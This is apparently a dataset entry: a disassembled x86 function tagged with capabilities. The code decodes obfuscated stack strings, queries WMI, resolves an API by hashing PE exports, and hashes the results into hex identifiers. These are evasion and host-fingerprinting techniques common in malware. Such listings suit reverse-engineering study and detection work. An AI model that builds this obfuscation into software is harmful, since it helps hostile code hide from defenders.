Function at 0x4390a0
Capabilities:
Connect to wmi namespace via wbemlocator
Encode data using xor
Get http document via iwebbrowser2
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0xa0
mov eax, dword [0x44cfec]
mov dword [esp + 0x20], 0x934191ad
mov dword [esp + 0x24], 0xaf5dad25
mov dword [esp + 0x28], 0xab57a924
mov dword [esp + 0x2c], 0xa77aa551
mov dword [esp + 0x30], 0xa35ba152
mov dword [esp + 0x34], 0xbf43bd32
mov dword [esp + 0x38], 0xbbbab985
xor ecx, ecx
xor edx, edx
movzx esi, byte [esp + edx + 0x20]
mov edi, ecx
and edi, 0x38
mov ebx, edx
xor ebx, 0x47aaa0dc
add ebx, edi
lea edi, [esi + esi]
not edi
add edi, esi
or edi, ebx
not ebx
or ebx, esi
xor edi, ebx
mov ebx, edi
and ebx, 0x33
add ebx, ebx
xor edi, 0x4c
sub ebx, edi
mov byte [esp + edx + 0x20], bl
inc edx
add ecx, 2
cmp edx, 0x1c
jne 0x4390f0
lea ecx, [esp + 4]
lea ebx, [esp + 0x8c]
lea esi, [esp + 0x20]
push ecx
push 8
push ebx
push 0xd
push esi
push 0
call eax
test eax, eax
jns 0x439155
mov dword [esp + 0x8c], 0x3a0043
mov dword [esp + 0x90], 0x5c
mov dword [esp + 0x10], 0xee71deba
mov dword [esp + 0xc], 0xd38d3a4a
mov dword [esp + 8], 0x52fd8599
mov dword [esp + 4], 0x14b7b
mov dword [esp + 0x1c], 0
lea eax, [esp + 0x1c]
push eax
push 0x443668
push 1
push 0
push 0x443678
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
mov edi, dword [ebp + 8]
js 0x439735
mov dword [esp + 0x20], 0x34d0152
mov dword [esp + 0x24], 0x752054b
mov dword [esp + 0x28], 0xb490954
mov dword [esp + 0x2c], 0xf430d45
mov dword [esp + 0x30], 0x13201146
mov word [esp + 0x34], 0x1514
mov dword [esp + 0x36], 0
mov byte [esp + 0x3a], 0
mov eax, 0xffffffff
mov ecx, esi
nop
movzx edx, byte [ecx]
lea esi, [eax - 0x4ebb9e00]
or esi, edx
and edx, eax
xor edx, esi
lea ebx, [edx + edx]
not ebx
add ebx, edx
mov byte [ecx], bl
inc ecx
dec eax
cmp eax, 0xffffffe4
jne 0x4391f0
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov esi, eax
mov eax, dword [esp + 0x1c]
mov ecx, dword [eax]
lea edx, [esp + 0x18]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
push esi
push eax
call dword [ecx + 0xc]
test eax, eax
lea ebx, [esp + 0x8c]
js 0x439720
push 0
push 0
push 3
push 3
push 0
push 0
push 0xa
push dword [esp + 0x34]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
test eax, eax
js 0x439716
mov dword [esp + 0x74], esi
mov dword [esp + 0x20], 0xc175c77d
mov dword [esp + 0x24], 0xcdc2c374
mov word [esp + 0x28], 0
mov eax, 0xb1
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax - 0x91]
lea ecx, [eax - 0x49a06c00]
mov esi, eax
and esi, edx
or ecx, edx
xor ecx, esi
mov edx, ecx
and edx, 0x30021088
mov esi, ecx
and esi, 2
mov edi, esi
xor edi, 2
imul edi, edx
or edx, 2
imul edx, esi
mov esi, ecx
xor esi, 0x8a
add esi, edi
add esi, edx
and ecx, 1
xor esi, 1
lea ecx, [esi + ecx*2]
mov byte [esp + eax - 0x91], cl
inc eax
cmp eax, 0xbb
jne 0x439290
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov esi, eax
mov dword [esp + 0x20], 0xcf0bc97f
mov dword [esp + 0x24], 0xc307cd70
mov dword [esp + 0x28], 0xc772c107
mov dword [esp + 0x2c], 0xbb64c524
mov dword [esp + 0x30], 0xbf04b958
mov dword [esp + 0x34], 0xb301bd0a
mov dword [esp + 0x38], 0xb756b10d
mov dword [esp + 0x3c], 0xab33b51f
mov dword [esp + 0x40], 0xaf79a93a
mov dword [esp + 0x44], 0xa301ad7a
mov dword [esp + 0x48], 0xa71fa166
mov dword [esp + 0x4c], 0x9b2da517
mov word [esp + 0x50], 0x9998
mov dword [esp + 0x52], 0
mov byte [esp + 0x56], 0
mov eax, 0x1b7dbeb2
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax - 0x1b7dbe92]
mov edx, eax
and edx, ecx
add edx, edx
sub ecx, edx
add ecx, eax
mov edx, ecx
and edx, 5
add edx, edx
xor ecx, 0x7a
sub edx, ecx
mov byte [esp + eax - 0x1b7dbe92], dl
inc eax
cmp eax, 0x1b7dbee9
jne 0x439370
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov edi, dword [esp + 0x18]
mov ecx, dword [edi]
lea edx, [esp + 0x60]
push edx
push 0
push 0x30
mov dword [esp + 0x78], eax
push eax
mov dword [esp + 0x80], esi
push esi
push edi
call dword [ecx + 0x50]
test eax, eax
mov edi, dword [ebp + 8]
js 0x439700
mov dword [esp + 0x58], 0
mov eax, dword [esp + 0x60]
mov ecx, dword [eax]
lea edx, [esp + 0x58]
lea esi, [esp + 0x5c]
push edx
push esi
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
test eax, eax
js 0x4396f6
cmp eax, 1
je 0x4396f6
cmp dword [esp + 0x58], 0
je 0x4396f6
lea eax, [esp + 0x78]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [esp + 0x5c]
mov dword [esp], eax
mov dword [esp + 0x20], 0x63c761d3
mov dword [esp + 0x24], 0x67ff65f6
mov dword [esp + 0x28], 0x5bc659f9
mov dword [esp + 0x2c], 0x5fcb5de2
mov dword [esp + 0x30], 0x53f051cd
mov dword [esp + 0x34], 0x57c455f1
mov dword [esp + 0x38], 0x4948
mov ecx, 0x18
mov esi, 0x70680fe7
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx eax, byte [esp + ecx + 8]
lea ebx, [ecx - 0x70681000]
mov edx, esi
and edx, 0x400003a8
mov edi, ebx
and edi, 0x8069017
or edi, edx
xor edi, eax
xor edi, 0xa8
mov edx, ecx
and edx, eax
or edx, edi
not eax
or ebx, eax
sub eax, ebx
add eax, edx
add al, 0x88
mov byte [esp + ecx + 8], al
inc ecx
dec esi
cmp ecx, 0x34
jne 0x439470
mov edx, dword [esp]
mov eax, dword [edx]
push 0
push 0
lea esi, [esp + 0x80]
push esi
push 0
lea ecx, [esp + 0x30]
push ecx
push edx
call dword [eax + 0x10]
test eax, eax
mov edi, dword [ebp + 8]
js 0x4396de
cmp word [esp + 0x78], 8
jne 0x4396de
mov esi, dword [esp + 0x80]
movzx ebx, word [esi]
test bx, bx
je 0x43952d
lea eax, [esi + 2]
xor edi, edi
mov ecx, ebx
jmp 0x43950c
inc edi
movzx ecx, word [eax]
add eax, 2
test cx, cx
je 0x43952f
cmp cx, 0x7f
jbe 0x439500
movzx edx, cx
cmp edx, 0x7ff
ja 0x439522
add edi, 2
jmp 0x439501
cmp cx, 0xffff
je 0x439501
add edi, 3
jmp 0x439501
xor edi, edi
mov eax, edi
and eax, 1
mov dword [esp + 0x68], edi
xor edi, 1
mov dword [esp], eax
mov dword [esp + 0x64], edi
lea eax, [edi + eax*2]
push eax
call fcn.00408c10
add esp, 4
mov edi, eax
mov dword [esp + 0x14], eax
test bx, bx
je 0x43968d
mov eax, dword [esp]
mov ecx, dword [esp + 0x64]
lea eax, [ecx + eax*2]
dec eax
mov edi, dword [esp + 0x14]
test eax, eax
je 0x43968d
mov edi, dword [esp + 0x14]
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, bx
lea ebx, [esi + 2]
cmp dx, 0x7f
ja 0x4395a0
lea ecx, [edi + 1]
mov byte [edi], dl
jmp 0x439635
cmp edx, 0x7ff
ja 0x4395cd
cmp eax, 2
jb 0x4395cd
mov ecx, edx
shr ecx, 6
add cl, 0xc0
mov byte [edi], cl
mov esi, ebx
mov ebx, edx
not ebx
or ebx, 0x3f
add ebx, edx
add bl, 0x81
lea ecx, [edi + 2]
mov byte [edi + 1], bl
jmp 0x439633
mov ecx, edx
and ecx, 0xfc00
cmp ecx, 0xd800
jne 0x43964f
cmp eax, 4
jb 0x43964f
movzx ecx, word [esi + 2]
mov dword [esp], ecx
shl edx, 0xa
add ecx, edx
add ecx, 0xfca02400
mov edx, ecx
shr edx, 0x12
add dl, 0xf0
mov byte [edi], dl
add esi, 4
mov edx, ecx
shr edx, 0xc
and dl, 0x3f
or dl, 0x80
mov byte [edi + 1], dl
shr ecx, 6
and cl, 0x3f
or cl, 0x80
mov byte [edi + 2], cl
mov ebx, 0xff
mov ecx, dword [esp]
sub ebx, ecx
or ebx, 0x3f
add ebx, ecx
add bl, 0x81
lea ecx, [edi + 4]
mov byte [edi + 3], bl
mov ebx, esi
add eax, edi
sub eax, ecx
mov esi, ebx
mov edi, ecx
movzx ebx, word [esi]
test bx, bx
je 0x43968d
test eax, eax
jne 0x439580
jmp 0x43968d
movzx ecx, cx
cmp ecx, 0xdc00
jne 0x43965e
mov esi, ebx
jmp 0x43963d
cmp eax, 3
jb 0x439689
mov ecx, edx
shr ecx, 0xc
or cl, 0xe0
mov byte [edi], cl
mov ecx, edx
shr ecx, 6
and cl, 0x3f
or cl, 0x80
mov byte [edi + 1], cl
and dl, 0x3f
or dl, 0x80
lea ecx, [edi + 3]
mov byte [edi + 2], dl
jmp 0x439635
mov ecx, edi
jmp 0x439635
mov byte [edi], 0
mov eax, 3
mov ecx, dword [esp + 0x68]
sub eax, ecx
cmp eax, 0xfffffffd
jae 0x4396a5
mov eax, 0xfffffffc
add eax, ecx
shr eax, 2
cmp eax, 3
mov edi, dword [ebp + 8]
lea esi, [esp + 0x78]
jb 0x4396bb
mov eax, 3
lea eax, [eax*4 + 4]
push eax
mov ebx, dword [esp + 0x18]
push ebx
lea eax, [esp + 0xc]
push eax
call fcn.00408c40
add esp, 0xc
push ebx
call fcn.00408c20
add esp, 4
push esi
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov eax, dword [esp + 0x5c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
lea ebx, [esp + 0x8c]
mov eax, dword [esp + 0x60]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov esi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
push dword [esp + 0x70]
call esi
push dword [esp + 0x6c]
call esi
mov esi, dword [esp + 0x74]
mov eax, dword [esp + 0x18]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push esi
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esp + 0x1c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
lea esi, [esp + 0x20]
push 0xbeb8f1a1
push dword [0x44cfe4]
call fcn.0043fb60
add esp, 8
push 0
push 0
push 0
push 0
push esi
push 0
push 0
push ebx
call eax
test eax, eax
je 0x439764
mov eax, dword [esp + 0x20]
mov dword [esp + 4], eax
mov eax, dword [esp + 4]
mov ecx, eax
and ecx, 0x1a5845
mov edx, eax
or eax, 0x1a5845
imul eax, ecx
xor ecx, 0x1a5845
and edx, 0xffe5a7ba
imul edx, ecx
add eax, edx
add eax, 0xebde8a13
mov dword [esp + 4], eax
mov esi, 0xfffffff7
push 0x10
push 9
push edi
push eax
call fcn.004214b0
add esp, 0x10
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [eax + esi + 9], 0
lea esi, [esi + 1]
jne 0x4397b0
test esi, esi
je 0x4397ce
add eax, esi
neg esi
push esi
push 0x30
push eax
call fcn.00408c90
add esp, 0xc
xor eax, eax
cmp dword [esp + 8], 0
setne al
mov eax, dword [esp + eax*4 + 4]
mov ecx, eax
and ecx, 0x1a5845
mov edx, eax
or eax, 0x1a5845
imul eax, ecx
xor ecx, 0x1a5845
and edx, 0xffe5a7ba
imul edx, ecx
add eax, edx
add eax, 0xebde8a13
lea ecx, [edi + 8]
mov dword [esp + 8], eax
mov esi, 0xfffffff7
push 0x10
push 9
push ecx
push eax
call fcn.004214b0
add esp, 0x10
nop
nop
cmp byte [eax + esi + 9], 0
lea esi, [esi + 1]
jne 0x439820
test esi, esi
je 0x43983e
add eax, esi
neg esi
push esi
push 0x30
push eax
call fcn.00408c90
add esp, 0xc
xor eax, eax
cmp dword [esp + 0xc], 0
setne al
mov eax, dword [esp + eax*4 + 8]
mov ecx, eax
and ecx, 0x1a5845
mov edx, eax
or eax, 0x1a5845
imul eax, ecx
xor ecx, 0x1a5845
and edx, 0xffe5a7ba
imul edx, ecx
add eax, edx
add eax, 0xebde8a13
lea ecx, [edi + 0x10]
mov dword [esp + 0xc], eax
mov esi, 0xfffffff7
push 0x10
push 9
push ecx
push eax
call fcn.004214b0
add esp, 0x10
nop
nop
cmp byte [eax + esi + 9], 0
lea esi, [esi + 1]
jne 0x439890
test esi, esi
je 0x4398ae
add eax, esi
neg esi
push esi
push 0x30
push eax
call fcn.00408c90
add esp, 0xc
add edi, 0x18
xor eax, eax
cmp dword [esp + 0x10], 0
setne al
mov eax, dword [esp + eax*4 + 0xc]
mov ecx, eax
and ecx, 0x1a5845
mov edx, eax
or eax, 0x1a5845
imul eax, ecx
xor ecx, 0x1a5845
and edx, 0xffe5a7ba
imul edx, ecx
add eax, edx
add eax, 0xebde8a13
mov dword [esp + 0x10], eax
mov esi, 0xfffffff7
push 0x10
push 9
push edi
push eax
call fcn.004214b0
add esp, 0x10
nop
nop
cmp byte [eax + esi + 9], 0
lea esi, [esi + 1]
jne 0x439900
test esi, esi
je 0x43991e
add eax, esi
neg esi
push esi
push 0x30
push eax
call fcn.00408c90
add esp, 0xc
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret